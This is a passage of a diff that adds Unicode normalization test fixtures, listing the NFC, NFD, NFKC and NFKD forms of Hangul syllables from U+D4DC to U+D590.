+{ source: [0xD4DC], NFC: [0xD4DC], NFD: [0x1111, 0x1171, 0x11B7], NFKC: [0xD4DC], NFKD: [0x1111, 0x1171, 0x11B7] },
+{ source: [0xD4DD], NFC: [0xD4DD], NFD: [0x1111, 0x1171, 0x11B8], NFKC: [0xD4DD], NFKD: [0x1111, 0x1171, 0x11B8] },
+{ source: [0xD4DE], NFC: [0xD4DE], NFD: [0x1111, 0x1171, 0x11B9], NFKC: [0xD4DE], NFKD: [0x1111, 0x1171, 0x11B9] },
+{ source: [0xD4DF], NFC: [0xD4DF], NFD: [0x1111, 0x1171, 0x11BA], NFKC: [0xD4DF], NFKD: [0x1111, 0x1171, 0x11BA] },
+{ source: [0xD4E0], NFC: [0xD4E0], NFD: [0x1111, 0x1171, 0x11BB], NFKC: [0xD4E0], NFKD: [0x1111, 0x1171, 0x11BB] },
+{ source: [0xD4E1], NFC: [0xD4E1], NFD: [0x1111, 0x1171, 0x11BC], NFKC: [0xD4E1], NFKD: [0x1111, 0x1171, 0x11BC] },
+{ source: [0xD4E2], NFC: [0xD4E2], NFD: [0x1111, 0x1171, 0x11BD], NFKC: [0xD4E2], NFKD: [0x1111, 0x1171, 0x11BD] },
+{ source: [0xD4E3], NFC: [0xD4E3], NFD: [0x1111, 0x1171, 0x11BE], NFKC: [0xD4E3], NFKD: [0x1111, 0x1171, 0x11BE] },
+{ source: [0xD4E4], NFC: [0xD4E4], NFD: [0x1111, 0x1171, 0x11BF], NFKC: [0xD4E4], NFKD: [0x1111, 0x1171, 0x11BF] },
+{ source: [0xD4E5], NFC: [0xD4E5], NFD: [0x1111, 0x1171, 0x11C0], NFKC: [0xD4E5], NFKD: [0x1111, 0x1171, 0x11C0] },
+{ source: [0xD4E6], NFC: [0xD4E6], NFD: [0x1111, 0x1171, 0x11C1], NFKC: [0xD4E6], NFKD: [0x1111, 0x1171, 0x11C1] },
+{ source: [0xD4E7], NFC: [0xD4E7], NFD: [0x1111, 0x1171, 0x11C2], NFKC: [0xD4E7], NFKD: [0x1111, 0x1171, 0x11C2] },
+{ source: [0xD4E8], NFC: [0xD4E8], NFD: [0x1111, 0x1172], NFKC: [0xD4E8], NFKD: [0x1111, 0x1172] },
+{ source: [0xD4E9], NFC: [0xD4E9], NFD: [0x1111, 0x1172, 0x11A8], NFKC: [0xD4E9], NFKD: [0x1111, 0x1172, 0x11A8] },
+{ source: [0xD4EA], NFC: [0xD4EA], NFD: [0x1111, 0x1172, 0x11A9], NFKC: [0xD4EA], NFKD: [0x1111, 0x1172, 0x11A9] },
+{ source: [0xD4EB], NFC: [0xD4EB], NFD: [0x1111, 0x1172, 0x11AA], NFKC: [0xD4EB], NFKD: [0x1111, 0x1172, 0x11AA] },
+{ source: [0xD4EC], NFC: [0xD4EC], NFD: [0x1111, 0x1172, 0x11AB], NFKC: [0xD4EC], NFKD: [0x1111, 0x1172, 0x11AB] },
+{ source: [0xD4ED], NFC: [0xD4ED], NFD: [0x1111, 0x1172, 0x11AC], NFKC: [0xD4ED], NFKD: [0x1111, 0x1172, 0x11AC] },
+{ source: [0xD4EE], NFC: [0xD4EE], NFD: [0x1111, 0x1172, 0x11AD], NFKC: [0xD4EE], NFKD: [0x1111, 0x1172, 0x11AD] },
+{ source: [0xD4EF], NFC: [0xD4EF], NFD: [0x1111, 0x1172, 0x11AE], NFKC: [0xD4EF], NFKD: [0x1111, 0x1172, 0x11AE] },
+{ source: [0xD4F0], NFC: [0xD4F0], NFD: [0x1111, 0x1172, 0x11AF], NFKC: [0xD4F0], NFKD: [0x1111, 0x1172, 0x11AF] },
+{ source: [0xD4F1], NFC: [0xD4F1], NFD: [0x1111, 0x1172, 0x11B0], NFKC: [0xD4F1], NFKD: [0x1111, 0x1172, 0x11B0] },
+{ source: [0xD4F2], NFC: [0xD4F2], NFD: [0x1111, 0x1172, 0x11B1], NFKC: [0xD4F2], NFKD: [0x1111, 0x1172, 0x11B1] },
+{ source: [0xD4F3], NFC: [0xD4F3], NFD: [0x1111, 0x1172, 0x11B2], NFKC: [0xD4F3], NFKD: [0x1111, 0x1172, 0x11B2] },
+{ source: [0xD4F4], NFC: [0xD4F4], NFD: [0x1111, 0x1172, 0x11B3], NFKC: [0xD4F4], NFKD: [0x1111, 0x1172, 0x11B3] },
+{ source: [0xD4F5], NFC: [0xD4F5], NFD: [0x1111, 0x1172, 0x11B4], NFKC: [0xD4F5], NFKD: [0x1111, 0x1172, 0x11B4] },
+{ source: [0xD4F6], NFC: [0xD4F6], NFD: [0x1111, 0x1172, 0x11B5], NFKC: [0xD4F6], NFKD: [0x1111, 0x1172, 0x11B5] },
+{ source: [0xD4F7], NFC: [0xD4F7], NFD: [0x1111, 0x1172, 0x11B6], NFKC: [0xD4F7], NFKD: [0x1111, 0x1172, 0x11B6] },
+{ source: [0xD4F8], NFC: [0xD4F8], NFD: [0x1111, 0x1172, 0x11B7], NFKC: [0xD4F8], NFKD: [0x1111, 0x1172, 0x11B7] },
+{ source: [0xD4F9], NFC: [0xD4F9], NFD: [0x1111, 0x1172, 0x11B8], NFKC: [0xD4F9], NFKD: [0x1111, 0x1172, 0x11B8] },
+{ source: [0xD4FA], NFC: [0xD4FA], NFD: [0x1111, 0x1172, 0x11B9], NFKC: [0xD4FA], NFKD: [0x1111, 0x1172, 0x11B9] },
+{ source: [0xD4FB], NFC: [0xD4FB], NFD: [0x1111, 0x1172, 0x11BA], NFKC: [0xD4FB], NFKD: [0x1111, 0x1172, 0x11BA] },
+{ source: [0xD4FC], NFC: [0xD4FC], NFD: [0x1111, 0x1172, 0x11BB], NFKC: [0xD4FC], NFKD: [0x1111, 0x1172, 0x11BB] },
+{ source: [0xD4FD], NFC: [0xD4FD], NFD: [0x1111, 0x1172, 0x11BC], NFKC: [0xD4FD], NFKD: [0x1111, 0x1172, 0x11BC] },
+{ source: [0xD4FE], NFC: [0xD4FE], NFD: [0x1111, 0x1172, 0x11BD], NFKC: [0xD4FE], NFKD: [0x1111, 0x1172, 0x11BD] },
+{ source: [0xD4FF], NFC: [0xD4FF], NFD: [0x1111, 0x1172, 0x11BE], NFKC: [0xD4FF], NFKD: [0x1111, 0x1172, 0x11BE] },
+{ source: [0xD500], NFC: [0xD500], NFD: [0x1111, 0x1172, 0x11BF], NFKC: [0xD500], NFKD: [0x1111, 0x1172, 0x11BF] },
+{ source: [0xD501], NFC: [0xD501], NFD: [0x1111, 0x1172, 0x11C0], NFKC: [0xD501], NFKD: [0x1111, 0x1172, 0x11C0] },
+{ source: [0xD502], NFC: [0xD502], NFD: [0x1111, 0x1172, 0x11C1], NFKC: [0xD502], NFKD: [0x1111, 0x1172, 0x11C1] },
+{ source: [0xD503], NFC: [0xD503], NFD: [0x1111, 0x1172, 0x11C2], NFKC: [0xD503], NFKD: [0x1111, 0x1172, 0x11C2] },
+{ source: [0xD504], NFC: [0xD504], NFD: [0x1111, 0x1173], NFKC: [0xD504], NFKD: [0x1111, 0x1173] },
+{ source: [0xD505], NFC: [0xD505], NFD: [0x1111, 0x1173, 0x11A8], NFKC: [0xD505], NFKD: [0x1111, 0x1173, 0x11A8] },
+{ source: [0xD506], NFC: [0xD506], NFD: [0x1111, 0x1173, 0x11A9], NFKC: [0xD506], NFKD: [0x1111, 0x1173, 0x11A9] },
+{ source: [0xD507], NFC: [0xD507], NFD: [0x1111, 0x1173, 0x11AA], NFKC: [0xD507], NFKD: [0x1111, 0x1173, 0x11AA] },
+{ source: [0xD508], NFC: [0xD508], NFD: [0x1111, 0x1173, 0x11AB], NFKC: [0xD508], NFKD: [0x1111, 0x1173, 0x11AB] },
+{ source: [0xD509], NFC: [0xD509], NFD: [0x1111, 0x1173, 0x11AC], NFKC: [0xD509], NFKD: [0x1111, 0x1173, 0x11AC] },
+{ source: [0xD50A], NFC: [0xD50A], NFD: [0x1111, 0x1173, 0x11AD], NFKC: [0xD50A], NFKD: [0x1111, 0x1173, 0x11AD] },
+{ source: [0xD50B], NFC: [0xD50B], NFD: [0x1111, 0x1173, 0x11AE], NFKC: [0xD50B], NFKD: [0x1111, 0x1173, 0x11AE] },
+{ source: [0xD50C], NFC: [0xD50C], NFD: [0x1111, 0x1173, 0x11AF], NFKC: [0xD50C], NFKD: [0x1111, 0x1173, 0x11AF] },
+{ source: [0xD50D], NFC: [0xD50D], NFD: [0x1111, 0x1173, 0x11B0], NFKC: [0xD50D], NFKD: [0x1111, 0x1173, 0x11B0] },
+{ source: [0xD50E], NFC: [0xD50E], NFD: [0x1111, 0x1173, 0x11B1], NFKC: [0xD50E], NFKD: [0x1111, 0x1173, 0x11B1] },
+{ source: [0xD50F], NFC: [0xD50F], NFD: [0x1111, 0x1173, 0x11B2], NFKC: [0xD50F], NFKD: [0x1111, 0x1173, 0x11B2] },
+{ source: [0xD510], NFC: [0xD510], NFD: [0x1111, 0x1173, 0x11B3], NFKC: [0xD510], NFKD: [0x1111, 0x1173, 0x11B3] },
+{ source: [0xD511], NFC: [0xD511], NFD: [0x1111, 0x1173, 0x11B4], NFKC: [0xD511], NFKD: [0x1111, 0x1173, 0x11B4] },
+{ source: [0xD512], NFC: [0xD512], NFD: [0x1111, 0x1173, 0x11B5], NFKC: [0xD512], NFKD: [0x1111, 0x1173, 0x11B5] },
+{ source: [0xD513], NFC: [0xD513], NFD: [0x1111, 0x1173, 0x11B6], NFKC: [0xD513], NFKD: [0x1111, 0x1173, 0x11B6] },
+{ source: [0xD514], NFC: [0xD514], NFD: [0x1111, 0x1173, 0x11B7], NFKC: [0xD514], NFKD: [0x1111, 0x1173, 0x11B7] },
+{ source: [0xD515], NFC: [0xD515], NFD: [0x1111, 0x1173, 0x11B8], NFKC: [0xD515], NFKD: [0x1111, 0x1173, 0x11B8] },
+{ source: [0xD516], NFC: [0xD516], NFD: [0x1111, 0x1173, 0x11B9], NFKC: [0xD516], NFKD: [0x1111, 0x1173, 0x11B9] },
+{ source: [0xD517], NFC: [0xD517], NFD: [0x1111, 0x1173, 0x11BA], NFKC: [0xD517], NFKD: [0x1111, 0x1173, 0x11BA] },
+{ source: [0xD518], NFC: [0xD518], NFD: [0x1111, 0x1173, 0x11BB], NFKC: [0xD518], NFKD: [0x1111, 0x1173, 0x11BB] },
+{ source: [0xD519], NFC: [0xD519], NFD: [0x1111, 0x1173, 0x11BC], NFKC: [0xD519], NFKD: [0x1111, 0x1173, 0x11BC] },
+{ source: [0xD51A], NFC: [0xD51A], NFD: [0x1111, 0x1173, 0x11BD], NFKC: [0xD51A], NFKD: [0x1111, 0x1173, 0x11BD] },
+{ source: [0xD51B], NFC: [0xD51B], NFD: [0x1111, 0x1173, 0x11BE], NFKC: [0xD51B], NFKD: [0x1111, 0x1173, 0x11BE] },
+{ source: [0xD51C], NFC: [0xD51C], NFD: [0x1111, 0x1173, 0x11BF], NFKC: [0xD51C], NFKD: [0x1111, 0x1173, 0x11BF] },
+{ source: [0xD51D], NFC: [0xD51D], NFD: [0x1111, 0x1173, 0x11C0], NFKC: [0xD51D], NFKD: [0x1111, 0x1173, 0x11C0] },
+{ source: [0xD51E], NFC: [0xD51E], NFD: [0x1111, 0x1173, 0x11C1], NFKC: [0xD51E], NFKD: [0x1111, 0x1173, 0x11C1] },
+{ source: [0xD51F], NFC: [0xD51F], NFD: [0x1111, 0x1173, 0x11C2], NFKC: [0xD51F], NFKD: [0x1111, 0x1173, 0x11C2] },
+{ source: [0xD520], NFC: [0xD520], NFD: [0x1111, 0x1174], NFKC: [0xD520], NFKD: [0x1111, 0x1174] },
+{ source: [0xD521], NFC: [0xD521], NFD: [0x1111, 0x1174, 0x11A8], NFKC: [0xD521], NFKD: [0x1111, 0x1174, 0x11A8] },
+{ source: [0xD522], NFC: [0xD522], NFD: [0x1111, 0x1174, 0x11A9], NFKC: [0xD522], NFKD: [0x1111, 0x1174, 0x11A9] },
+{ source: [0xD523], NFC: [0xD523], NFD: [0x1111, 0x1174, 0x11AA], NFKC: [0xD523], NFKD: [0x1111, 0x1174, 0x11AA] },
+{ source: [0xD524], NFC: [0xD524], NFD: [0x1111, 0x1174, 0x11AB], NFKC: [0xD524], NFKD: [0x1111, 0x1174, 0x11AB] },
+{ source: [0xD525], NFC: [0xD525], NFD: [0x1111, 0x1174, 0x11AC], NFKC: [0xD525], NFKD: [0x1111, 0x1174, 0x11AC] },
+{ source: [0xD526], NFC: [0xD526], NFD: [0x1111, 0x1174, 0x11AD], NFKC: [0xD526], NFKD: [0x1111, 0x1174, 0x11AD] },
+{ source: [0xD527], NFC: [0xD527], NFD: [0x1111, 0x1174, 0x11AE], NFKC: [0xD527], NFKD: [0x1111, 0x1174, 0x11AE] },
+{ source: [0xD528], NFC: [0xD528], NFD: [0x1111, 0x1174, 0x11AF], NFKC: [0xD528], NFKD: [0x1111, 0x1174, 0x11AF] },
+{ source: [0xD529], NFC: [0xD529], NFD: [0x1111, 0x1174, 0x11B0], NFKC: [0xD529], NFKD: [0x1111, 0x1174, 0x11B0] },
+{ source: [0xD52A], NFC: [0xD52A], NFD: [0x1111, 0x1174, 0x11B1], NFKC: [0xD52A], NFKD: [0x1111, 0x1174, 0x11B1] },
+{ source: [0xD52B], NFC: [0xD52B], NFD: [0x1111, 0x1174, 0x11B2], NFKC: [0xD52B], NFKD: [0x1111, 0x1174, 0x11B2] },
+{ source: [0xD52C], NFC: [0xD52C], NFD: [0x1111, 0x1174, 0x11B3], NFKC: [0xD52C], NFKD: [0x1111, 0x1174, 0x11B3] },
+{ source: [0xD52D], NFC: [0xD52D], NFD: [0x1111, 0x1174, 0x11B4], NFKC: [0xD52D], NFKD: [0x1111, 0x1174, 0x11B4] },
+{ source: [0xD52E], NFC: [0xD52E], NFD: [0x1111, 0x1174, 0x11B5], NFKC: [0xD52E], NFKD: [0x1111, 0x1174, 0x11B5] },
+{ source: [0xD52F], NFC: [0xD52F], NFD: [0x1111, 0x1174, 0x11B6], NFKC: [0xD52F], NFKD: [0x1111, 0x1174, 0x11B6] },
+{ source: [0xD530], NFC: [0xD530], NFD: [0x1111, 0x1174, 0x11B7], NFKC: [0xD530], NFKD: [0x1111, 0x1174, 0x11B7] },
+{ source: [0xD531], NFC: [0xD531], NFD: [0x1111, 0x1174, 0x11B8], NFKC: [0xD531], NFKD: [0x1111, 0x1174, 0x11B8] },
+{ source: [0xD532], NFC: [0xD532], NFD: [0x1111, 0x1174, 0x11B9], NFKC: [0xD532], NFKD: [0x1111, 0x1174, 0x11B9] },
+{ source: [0xD533], NFC: [0xD533], NFD: [0x1111, 0x1174, 0x11BA], NFKC: [0xD533], NFKD: [0x1111, 0x1174, 0x11BA] },
+{ source: [0xD534], NFC: [0xD534], NFD: [0x1111, 0x1174, 0x11BB], NFKC: [0xD534], NFKD: [0x1111, 0x1174, 0x11BB] },
+{ source: [0xD535], NFC: [0xD535], NFD: [0x1111, 0x1174, 0x11BC], NFKC: [0xD535], NFKD: [0x1111, 0x1174, 0x11BC] },
+{ source: [0xD536], NFC: [0xD536], NFD: [0x1111, 0x1174, 0x11BD], NFKC: [0xD536], NFKD: [0x1111, 0x1174, 0x11BD] },
+{ source: [0xD537], NFC: [0xD537], NFD: [0x1111, 0x1174, 0x11BE], NFKC: [0xD537], NFKD: [0x1111, 0x1174, 0x11BE] },
+{ source: [0xD538], NFC: [0xD538], NFD: [0x1111, 0x1174, 0x11BF], NFKC: [0xD538], NFKD: [0x1111, 0x1174, 0x11BF] },
+{ source: [0xD539], NFC: [0xD539], NFD: [0x1111, 0x1174, 0x11C0], NFKC: [0xD539], NFKD: [0x1111, 0x1174, 0x11C0] },
+{ source: [0xD53A], NFC: [0xD53A], NFD: [0x1111, 0x1174, 0x11C1], NFKC: [0xD53A], NFKD: [0x1111, 0x1174, 0x11C1] },
+{ source: [0xD53B], NFC: [0xD53B], NFD: [0x1111, 0x1174, 0x11C2], NFKC: [0xD53B], NFKD: [0x1111, 0x1174, 0x11C2] },
+{ source: [0xD53C], NFC: [0xD53C], NFD: [0x1111, 0x1175], NFKC: [0xD53C], NFKD: [0x1111, 0x1175] },
+{ source: [0xD53D], NFC: [0xD53D], NFD: [0x1111, 0x1175, 0x11A8], NFKC: [0xD53D], NFKD: [0x1111, 0x1175, 0x11A8] },
+{ source: [0xD53E], NFC: [0xD53E], NFD: [0x1111, 0x1175, 0x11A9], NFKC: [0xD53E], NFKD: [0x1111, 0x1175, 0x11A9] },
+{ source: [0xD53F], NFC: [0xD53F], NFD: [0x1111, 0x1175, 0x11AA], NFKC: [0xD53F], NFKD: [0x1111, 0x1175, 0x11AA] },
+{ source: [0xD540], NFC: [0xD540], NFD: [0x1111, 0x1175, 0x11AB], NFKC: [0xD540], NFKD: [0x1111, 0x1175, 0x11AB] },
+{ source: [0xD541], NFC: [0xD541], NFD: [0x1111, 0x1175, 0x11AC], NFKC: [0xD541], NFKD: [0x1111, 0x1175, 0x11AC] },
+{ source: [0xD542], NFC: [0xD542], NFD: [0x1111, 0x1175, 0x11AD], NFKC: [0xD542], NFKD: [0x1111, 0x1175, 0x11AD] },
+{ source: [0xD543], NFC: [0xD543], NFD: [0x1111, 0x1175, 0x11AE], NFKC: [0xD543], NFKD: [0x1111, 0x1175, 0x11AE] },
+{ source: [0xD544], NFC: [0xD544], NFD: [0x1111, 0x1175, 0x11AF], NFKC: [0xD544], NFKD: [0x1111, 0x1175, 0x11AF] },
+{ source: [0xD545], NFC: [0xD545], NFD: [0x1111, 0x1175, 0x11B0], NFKC: [0xD545], NFKD: [0x1111, 0x1175, 0x11B0] },
+{ source: [0xD546], NFC: [0xD546], NFD: [0x1111, 0x1175, 0x11B1], NFKC: [0xD546], NFKD: [0x1111, 0x1175, 0x11B1] },
+{ source: [0xD547], NFC: [0xD547], NFD: [0x1111, 0x1175, 0x11B2], NFKC: [0xD547], NFKD: [0x1111, 0x1175, 0x11B2] },
+{ source: [0xD548], NFC: [0xD548], NFD: [0x1111, 0x1175, 0x11B3], NFKC: [0xD548], NFKD: [0x1111, 0x1175, 0x11B3] },
+{ source: [0xD549], NFC: [0xD549], NFD: [0x1111, 0x1175, 0x11B4], NFKC: [0xD549], NFKD: [0x1111, 0x1175, 0x11B4] },
+{ source: [0xD54A], NFC: [0xD54A], NFD: [0x1111, 0x1175, 0x11B5], NFKC: [0xD54A], NFKD: [0x1111, 0x1175, 0x11B5] },
+{ source: [0xD54B], NFC: [0xD54B], NFD: [0x1111, 0x1175, 0x11B6], NFKC: [0xD54B], NFKD: [0x1111, 0x1175, 0x11B6] },
+{ source: [0xD54C], NFC: [0xD54C], NFD: [0x1111, 0x1175, 0x11B7], NFKC: [0xD54C], NFKD: [0x1111, 0x1175, 0x11B7] },
+{ source: [0xD54D], NFC: [0xD54D], NFD: [0x1111, 0x1175, 0x11B8], NFKC: [0xD54D], NFKD: [0x1111, 0x1175, 0x11B8] },
+{ source: [0xD54E], NFC: [0xD54E], NFD: [0x1111, 0x1175, 0x11B9], NFKC: [0xD54E], NFKD: [0x1111, 0x1175, 0x11B9] },
+{ source: [0xD54F], NFC: [0xD54F], NFD: [0x1111, 0x1175, 0x11BA], NFKC: [0xD54F], NFKD: [0x1111, 0x1175, 0x11BA] },
+{ source: [0xD550], NFC: [0xD550], NFD: [0x1111, 0x1175, 0x11BB], NFKC: [0xD550], NFKD: [0x1111, 0x1175, 0x11BB] },
+{ source: [0xD551], NFC: [0xD551], NFD: [0x1111, 0x1175, 0x11BC], NFKC: [0xD551], NFKD: [0x1111, 0x1175, 0x11BC] },
+{ source: [0xD552], NFC: [0xD552], NFD: [0x1111, 0x1175, 0x11BD], NFKC: [0xD552], NFKD: [0x1111, 0x1175, 0x11BD] },
+{ source: [0xD553], NFC: [0xD553], NFD: [0x1111, 0x1175, 0x11BE], NFKC: [0xD553], NFKD: [0x1111, 0x1175, 0x11BE] },
+{ source: [0xD554], NFC: [0xD554], NFD: [0x1111, 0x1175, 0x11BF], NFKC: [0xD554], NFKD: [0x1111, 0x1175, 0x11BF] },
+{ source: [0xD555], NFC: [0xD555], NFD: [0x1111, 0x1175, 0x11C0], NFKC: [0xD555], NFKD: [0x1111, 0x1175, 0x11C0] },
+{ source: [0xD556], NFC: [0xD556], NFD: [0x1111, 0x1175, 0x11C1], NFKC: [0xD556], NFKD: [0x1111, 0x1175, 0x11C1] },
+{ source: [0xD557], NFC: [0xD557], NFD: [0x1111, 0x1175, 0x11C2], NFKC: [0xD557], NFKD: [0x1111, 0x1175, 0x11C2] },
+{ source: [0xD558], NFC: [0xD558], NFD: [0x1112, 0x1161], NFKC: [0xD558], NFKD: [0x1112, 0x1161] },
+{ source: [0xD559], NFC: [0xD559], NFD: [0x1112, 0x1161, 0x11A8], NFKC: [0xD559], NFKD: [0x1112, 0x1161, 0x11A8] },
+{ source: [0xD55A], NFC: [0xD55A], NFD: [0x1112, 0x1161, 0x11A9], NFKC: [0xD55A], NFKD: [0x1112, 0x1161, 0x11A9] },
+{ source: [0xD55B], NFC: [0xD55B], NFD: [0x1112, 0x1161, 0x11AA], NFKC: [0xD55B], NFKD: [0x1112, 0x1161, 0x11AA] },
+{ source: [0xD55C], NFC: [0xD55C], NFD: [0x1112, 0x1161, 0x11AB], NFKC: [0xD55C], NFKD: [0x1112, 0x1161, 0x11AB] },
+{ source: [0xD55D], NFC: [0xD55D], NFD: [0x1112, 0x1161, 0x11AC], NFKC: [0xD55D], NFKD: [0x1112, 0x1161, 0x11AC] },
+{ source: [0xD55E], NFC: [0xD55E], NFD: [0x1112, 0x1161, 0x11AD], NFKC: [0xD55E], NFKD: [0x1112, 0x1161, 0x11AD] },
+{ source: [0xD55F], NFC: [0xD55F], NFD: [0x1112, 0x1161, 0x11AE], NFKC: [0xD55F], NFKD: [0x1112, 0x1161, 0x11AE] },
+{ source: [0xD560], NFC: [0xD560], NFD: [0x1112, 0x1161, 0x11AF], NFKC: [0xD560], NFKD: [0x1112, 0x1161, 0x11AF] },
+{ source: [0xD561], NFC: [0xD561], NFD: [0x1112, 0x1161, 0x11B0], NFKC: [0xD561], NFKD: [0x1112, 0x1161, 0x11B0] },
+{ source: [0xD562], NFC: [0xD562], NFD: [0x1112, 0x1161, 0x11B1], NFKC: [0xD562], NFKD: [0x1112, 0x1161, 0x11B1] },
+{ source: [0xD563], NFC: [0xD563], NFD: [0x1112, 0x1161, 0x11B2], NFKC: [0xD563], NFKD: [0x1112, 0x1161, 0x11B2] },
+{ source: [0xD564], NFC: [0xD564], NFD: [0x1112, 0x1161, 0x11B3], NFKC: [0xD564], NFKD: [0x1112, 0x1161, 0x11B3] },
+{ source: [0xD565], NFC: [0xD565], NFD: [0x1112, 0x1161, 0x11B4], NFKC: [0xD565], NFKD: [0x1112, 0x1161, 0x11B4] },
+{ source: [0xD566], NFC: [0xD566], NFD: [0x1112, 0x1161, 0x11B5], NFKC: [0xD566], NFKD: [0x1112, 0x1161, 0x11B5] },
+{ source: [0xD567], NFC: [0xD567], NFD: [0x1112, 0x1161, 0x11B6], NFKC: [0xD567], NFKD: [0x1112, 0x1161, 0x11B6] },
+{ source: [0xD568], NFC: [0xD568], NFD: [0x1112, 0x1161, 0x11B7], NFKC: [0xD568], NFKD: [0x1112, 0x1161, 0x11B7] },
+{ source: [0xD569], NFC: [0xD569], NFD: [0x1112, 0x1161, 0x11B8], NFKC: [0xD569], NFKD: [0x1112, 0x1161, 0x11B8] },
+{ source: [0xD56A], NFC: [0xD56A], NFD: [0x1112, 0x1161, 0x11B9], NFKC: [0xD56A], NFKD: [0x1112, 0x1161, 0x11B9] },
+{ source: [0xD56B], NFC: [0xD56B], NFD: [0x1112, 0x1161, 0x11BA], NFKC: [0xD56B], NFKD: [0x1112, 0x1161, 0x11BA] },
+{ source: [0xD56C], NFC: [0xD56C], NFD: [0x1112, 0x1161, 0x11BB], NFKC: [0xD56C], NFKD: [0x1112, 0x1161, 0x11BB] },
+{ source: [0xD56D], NFC: [0xD56D], NFD: [0x1112, 0x1161, 0x11BC], NFKC: [0xD56D], NFKD: [0x1112, 0x1161, 0x11BC] },
+{ source: [0xD56E], NFC: [0xD56E], NFD: [0x1112, 0x1161, 0x11BD], NFKC: [0xD56E], NFKD: [0x1112, 0x1161, 0x11BD] },
+{ source: [0xD56F], NFC: [0xD56F], NFD: [0x1112, 0x1161, 0x11BE], NFKC: [0xD56F], NFKD: [0x1112, 0x1161, 0x11BE] },
+{ source: [0xD570], NFC: [0xD570], NFD: [0x1112, 0x1161, 0x11BF], NFKC: [0xD570], NFKD: [0x1112, 0x1161, 0x11BF] },
+{ source: [0xD571], NFC: [0xD571], NFD: [0x1112, 0x1161, 0x11C0], NFKC: [0xD571], NFKD: [0x1112, 0x1161, 0x11C0] },
+{ source: [0xD572], NFC: [0xD572], NFD: [0x1112, 0x1161, 0x11C1], NFKC: [0xD572], NFKD: [0x1112, 0x1161, 0x11C1] },
+{ source: [0xD573], NFC: [0xD573], NFD: [0x1112, 0x1161, 0x11C2], NFKC: [0xD573], NFKD: [0x1112, 0x1161, 0x11C2] },
+{ source: [0xD574], NFC: [0xD574], NFD: [0x1112, 0x1162], NFKC: [0xD574], NFKD: [0x1112, 0x1162] },
+{ source: [0xD575], NFC: [0xD575], NFD: [0x1112, 0x1162, 0x11A8], NFKC: [0xD575], NFKD: [0x1112, 0x1162, 0x11A8] },
+{ source: [0xD576], NFC: [0xD576], NFD: [0x1112, 0x1162, 0x11A9], NFKC: [0xD576], NFKD: [0x1112, 0x1162, 0x11A9] },
+{ source: [0xD577], NFC: [0xD577], NFD: [0x1112, 0x1162, 0x11AA], NFKC: [0xD577], NFKD: [0x1112, 0x1162, 0x11AA] },
+{ source: [0xD578], NFC: [0xD578], NFD: [0x1112, 0x1162, 0x11AB], NFKC: [0xD578], NFKD: [0x1112, 0x1162, 0x11AB] },
+{ source: [0xD579], NFC: [0xD579], NFD: [0x1112, 0x1162, 0x11AC], NFKC: [0xD579], NFKD: [0x1112, 0x1162, 0x11AC] },
+{ source: [0xD57A], NFC: [0xD57A], NFD: [0x1112, 0x1162, 0x11AD], NFKC: [0xD57A], NFKD: [0x1112, 0x1162, 0x11AD] },
+{ source: [0xD57B], NFC: [0xD57B], NFD: [0x1112, 0x1162, 0x11AE], NFKC: [0xD57B], NFKD: [0x1112, 0x1162, 0x11AE] },
+{ source: [0xD57C], NFC: [0xD57C], NFD: [0x1112, 0x1162, 0x11AF], NFKC: [0xD57C], NFKD: [0x1112, 0x1162, 0x11AF] },
+{ source: [0xD57D], NFC: [0xD57D], NFD: [0x1112, 0x1162, 0x11B0], NFKC: [0xD57D], NFKD: [0x1112, 0x1162, 0x11B0] },
+{ source: [0xD57E], NFC: [0xD57E], NFD: [0x1112, 0x1162, 0x11B1], NFKC: [0xD57E], NFKD: [0x1112, 0x1162, 0x11B1] },
+{ source: [0xD57F], NFC: [0xD57F], NFD: [0x1112, 0x1162, 0x11B2], NFKC: [0xD57F], NFKD: [0x1112, 0x1162, 0x11B2] },
+{ source: [0xD580], NFC: [0xD580], NFD: [0x1112, 0x1162, 0x11B3], NFKC: [0xD580], NFKD: [0x1112, 0x1162, 0x11B3] },
+{ source: [0xD581], NFC: [0xD581], NFD: [0x1112, 0x1162, 0x11B4], NFKC: [0xD581], NFKD: [0x1112, 0x1162, 0x11B4] },
+{ source: [0xD582], NFC: [0xD582], NFD: [0x1112, 0x1162, 0x11B5], NFKC: [0xD582], NFKD: [0x1112, 0x1162, 0x11B5] },
+{ source: [0xD583], NFC: [0xD583], NFD: [0x1112, 0x1162, 0x11B6], NFKC: [0xD583], NFKD: [0x1112, 0x1162, 0x11B6] },
+{ source: [0xD584], NFC: [0xD584], NFD: [0x1112, 0x1162, 0x11B7], NFKC: [0xD584], NFKD: [0x1112, 0x1162, 0x11B7] },
+{ source: [0xD585], NFC: [0xD585], NFD: [0x1112, 0x1162, 0x11B8], NFKC: [0xD585], NFKD: [0x1112, 0x1162, 0x11B8] },
+{ source: [0xD586], NFC: [0xD586], NFD: [0x1112, 0x1162, 0x11B9], NFKC: [0xD586], NFKD: [0x1112, 0x1162, 0x11B9] },
+{ source: [0xD587], NFC: [0xD587], NFD: [0x1112, 0x1162, 0x11BA], NFKC: [0xD587], NFKD: [0x1112, 0x1162, 0x11BA] },
+{ source: [0xD588], NFC: [0xD588], NFD: [0x1112, 0x1162, 0x11BB], NFKC: [0xD588], NFKD: [0x1112, 0x1162, 0x11BB] },
+{ source: [0xD589], NFC: [0xD589], NFD: [0x1112, 0x1162, 0x11BC], NFKC: [0xD589], NFKD: [0x1112, 0x1162, 0x11BC] },
+{ source: [0xD58A], NFC: [0xD58A], NFD: [0x1112, 0x1162, 0x11BD], NFKC: [0xD58A], NFKD: [0x1112, 0x1162, 0x11BD] },
+{ source: [0xD58B], NFC: [0xD58B], NFD: [0x1112, 0x1162, 0x11BE], NFKC: [0xD58B], NFKD: [0x1112, 0x1162, 0x11BE] },
+{ source: [0xD58C], NFC: [0xD58C], NFD: [0x1112, 0x1162, 0x11BF], NFKC: [0xD58C], NFKD: [0x1112, 0x1162, 0x11BF] },
+{ source: [0xD58D], NFC: [0xD58D], NFD: [0x1112, 0x1162, 0x11C0], NFKC: [0xD58D], NFKD: [0x1112, 0x1162, 0x11C0] },
+{ source: [0xD58E], NFC: [0xD58E], NFD: [0x1112, 0x1162, 0x11C1], NFKC: [0xD58E], NFKD: [0x1112, 0x1162, 0x11C1] },
+{ source: [0xD58F], NFC: [0xD58F], NFD: [0x1112, 0x1162, 0x11C2], NFKC: [0xD58F], NFKD: [0x1112, 0x1162, 0x11C2] },
+{ source: [0xD590], NFC: [0xD590], NFD: [0x1112, 0x1163], NFKC: [0xD590], NFKD: [0x1112, 0x1163] },
